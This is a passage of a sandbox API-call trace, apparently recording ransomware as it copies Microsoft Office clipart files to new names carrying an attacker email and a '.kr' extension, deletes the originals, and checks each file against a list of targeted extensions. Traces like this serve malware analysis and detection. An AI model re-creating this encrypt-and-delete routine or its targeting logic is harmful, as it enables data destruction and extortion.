hTemplateFile=0x0) returned 0x4d4 [0211.543] GetLastError () returned 0x0 [0211.543] ReadFile (in: hFile=0x56c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x347c, lpOverlapped=0x0) returned 1 [0211.545] WriteFile (in: hFile=0x4d4, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x3480, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x3480, lpOverlapped=0x0) returned 1 [0211.546] ReadFile (in: hFile=0x56c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0211.546] WriteFile (in: hFile=0x4d4, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0211.547] SetEndOfFile (hFile=0x4d4) returned 1 [0211.547] CloseHandle (hObject=0x4d4) returned 1 [0211.547] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0211.547] SetEndOfFile (hFile=0x56c) returned 1 [0211.550] CloseHandle (hObject=0x56c) returned 1 [0211.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.550] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf")) returned 1 [0211.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0211.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0211.551] lstrlenW (lpString=".doc") returned 4 [0211.551] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.551] lstrlenW (lpString=".docx") returned 5 [0211.551] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0211.551] lstrlenW (lpString=".pdf") returned 4 [0211.551] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.551] lstrlenW (lpString=".xls") returned 4 [0211.551] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.551] lstrlenW (lpString=".xlsx") returned 5 [0211.551] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0211.551] lstrlenW (lpString=".ppt") returned 4 [0211.551] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0211.551] lstrlenW (lpString=".zip") returned 4 [0211.551] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.552] lstrlenW (lpString=".rar") returned 4 [0211.552] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.552] lstrlenW (lpString=".bz2") returned 4 [0211.552] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.552] lstrlenW (lpString=".7z") returned 3 [0211.552] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0211.552] lstrlenW (lpString=".dbf") returned 4 [0211.552] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0211.552] lstrlenW (lpString=".1cd") returned 4 [0211.552] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0211.552] lstrlenW (lpString=".jpg") returned 4 [0211.552] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0211.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0211.552] lstrlenW (lpString=".doc") returned 4 [0211.552] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.552] lstrlenW (lpString=".docx") returned 5 [0211.552] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0211.552] lstrlenW (lpString=".pdf") returned 4 [0211.552] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.552] lstrlenW (lpString=".xls") returned 4 [0211.552] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.552] lstrlenW (lpString=".xlsx") returned 5 [0211.552] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0211.552] lstrlenW (lpString=".ppt") returned 4 [0211.552] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0211.552] lstrlenW (lpString=".zip") returned 4 [0211.552] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.552] lstrlenW (lpString=".rar") returned 4 [0211.553] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.553] lstrlenW (lpString=".bz2") returned 4 [0211.553] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.553] lstrlenW (lpString=".7z") returned 3 [0211.553] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0211.553] lstrlenW (lpString=".dbf") returned 4 [0211.553] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0211.553] lstrlenW (lpString=".1cd") returned 4 [0211.553] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0211.553] lstrlenW (lpString=".jpg") returned 4 [0211.553] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.553] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0211.553] lstrlenW (lpString="J0107290.WMF") returned 12 [0211.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0211.761] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=12308) returned 1 [0211.769] CloseHandle (hObject=0x4d4) returned 1 [0211.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf")) returned 0x220 [0211.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0211.910] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0211.910] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0211.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0211.911] GetLastError () returned 0x0 [0211.911] ReadFile (in: hFile=0x564, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x3014, lpOverlapped=0x0) returned 1 [0211.914] WriteFile (in: hFile=0x4d8, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x3020, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x3020, lpOverlapped=0x0) returned 1 [0211.915] ReadFile (in: hFile=0x564, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0211.915] WriteFile (in: hFile=0x4d8, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0211.915] SetEndOfFile (hFile=0x4d8) returned 1 [0211.915] CloseHandle (hObject=0x4d8) returned 1 [0211.915] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0211.915] SetEndOfFile (hFile=0x564) returned 1 [0211.918] CloseHandle (hObject=0x564) returned 1 [0211.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.919] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf")) returned 1 [0211.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0211.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0211.920] lstrlenW (lpString=".doc") returned 4 [0211.920] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.920] lstrlenW (lpString=".docx") returned 5 [0211.920] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0211.920] lstrlenW (lpString=".pdf") returned 4 [0211.920] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.920] lstrlenW (lpString=".xls") returned 4 [0211.920] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.920] lstrlenW (lpString=".xlsx") returned 5 [0211.920] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0211.920] lstrlenW (lpString=".ppt") returned 4 [0211.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0211.920] lstrlenW (lpString=".zip") returned 4 [0211.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.920] lstrlenW (lpString=".rar") returned 4 [0211.920] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.920] lstrlenW (lpString=".bz2") returned 4 [0211.920] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.920] lstrlenW (lpString=".7z") returned 3 [0211.920] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0211.920] lstrlenW (lpString=".dbf") returned 4 [0211.921] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0211.921] lstrlenW (lpString=".1cd") returned 4 [0211.921] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0211.921] lstrlenW (lpString=".jpg") returned 4 [0211.921] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0211.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0211.921] lstrlenW (lpString=".doc") returned 4 [0211.921] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.921] lstrlenW (lpString=".docx") returned 5 [0211.921] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0211.921] lstrlenW (lpString=".pdf") returned 4 [0211.921] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.921] lstrlenW (lpString=".xls") returned 4 [0211.921] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.921] lstrlenW (lpString=".xlsx") returned 5 [0211.921] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0211.921] lstrlenW (lpString=".ppt") returned 4 [0211.921] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0211.921] lstrlenW (lpString=".zip") returned 4 [0211.921] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.921] lstrlenW (lpString=".rar") returned 4 [0211.921] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.921] lstrlenW (lpString=".bz2") returned 4 [0211.921] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.921] lstrlenW (lpString=".7z") returned 3 [0211.921] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0211.921] lstrlenW (lpString=".dbf") returned 4 [0211.921] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0211.922] lstrlenW (lpString=".1cd") returned 4 [0211.922] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0211.922] lstrlenW (lpString=".jpg") returned 4 [0211.922] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.922] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0211.922] lstrlenW (lpString="J0107316.WMF") returned 12 [0211.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0211.923] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=11288) returned 1 [0211.923] CloseHandle (hObject=0x564) returned 1 [0211.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf")) returned 0x220 [0211.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0211.923] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0211.923] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0211.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0211.924] GetLastError () returned 0x0 [0211.924] ReadFile (in: hFile=0x564, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x2c18, lpOverlapped=0x0) returned 1 [0211.926] WriteFile (in: hFile=0x4d8, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x2c20, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x2c20, lpOverlapped=0x0) returned 1 [0211.927] ReadFile (in: hFile=0x564, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0211.927] WriteFile (in: hFile=0x4d8, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0211.927] SetEndOfFile (hFile=0x4d8) returned 1 [0211.927] CloseHandle (hObject=0x4d8) returned 1 [0211.927] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0211.927] SetEndOfFile (hFile=0x564) returned 1 [0211.936] CloseHandle (hObject=0x564) returned 1 [0211.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.936] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf")) returned 1 [0211.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0211.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0211.937] lstrlenW (lpString=".doc") returned 4 [0211.937] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.937] lstrlenW (lpString=".docx") returned 5 [0211.937] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0211.937] lstrlenW (lpString=".pdf") returned 4 [0211.937] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.937] lstrlenW (lpString=".xls") returned 4 [0211.937] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.937] lstrlenW (lpString=".xlsx") returned 5 [0211.937] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0211.937] lstrlenW (lpString=".ppt") returned 4 [0211.937] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0211.938] lstrlenW (lpString=".zip") returned 4 [0211.938] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.938] lstrlenW (lpString=".rar") returned 4 [0211.938] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.938] lstrlenW (lpString=".bz2") returned 4 [0211.938] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.938] lstrlenW (lpString=".7z") returned 3 [0211.938] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0211.938] lstrlenW (lpString=".dbf") returned 4 [0211.938] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0211.938] lstrlenW (lpString=".1cd") returned 4 [0211.938] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0211.938] lstrlenW (lpString=".jpg") returned 4 [0211.938] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0211.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0211.938] lstrlenW (lpString=".doc") returned 4 [0211.938] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.938] lstrlenW (lpString=".docx") returned 5 [0211.938] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0211.938] lstrlenW (lpString=".pdf") returned 4 [0211.938] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.938] lstrlenW (lpString=".xls") returned 4 [0211.938] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.938] lstrlenW (lpString=".xlsx") returned 5 [0211.938] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0211.938] lstrlenW (lpString=".ppt") returned 4 [0211.938] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0211.939] lstrlenW (lpString=".zip") returned 4 [0211.939] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.939] lstrlenW (lpString=".rar") returned 4 [0211.939] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.939] lstrlenW (lpString=".bz2") returned 4 [0211.939] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.939] lstrlenW (lpString=".7z") returned 3 [0211.939] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0211.939] lstrlenW (lpString=".dbf") returned 4 [0211.939] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0211.939] lstrlenW (lpString=".1cd") returned 4 [0211.939] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0211.939] lstrlenW (lpString=".jpg") returned 4 [0211.939] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.939] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0211.939] lstrlenW (lpString="J0107328.WMF") returned 12 [0211.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0211.941] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=6532) returned 1 [0211.941] CloseHandle (hObject=0x564) returned 1 [0211.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf")) returned 0x220 [0211.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0211.942] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0211.942] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0211.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0211.942] GetLastError () returned 0x0 [0211.942] ReadFile (in: hFile=0x564, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x1984, lpOverlapped=0x0) returned 1 [0211.944] WriteFile (in: hFile=0x4d8, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x1990, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, 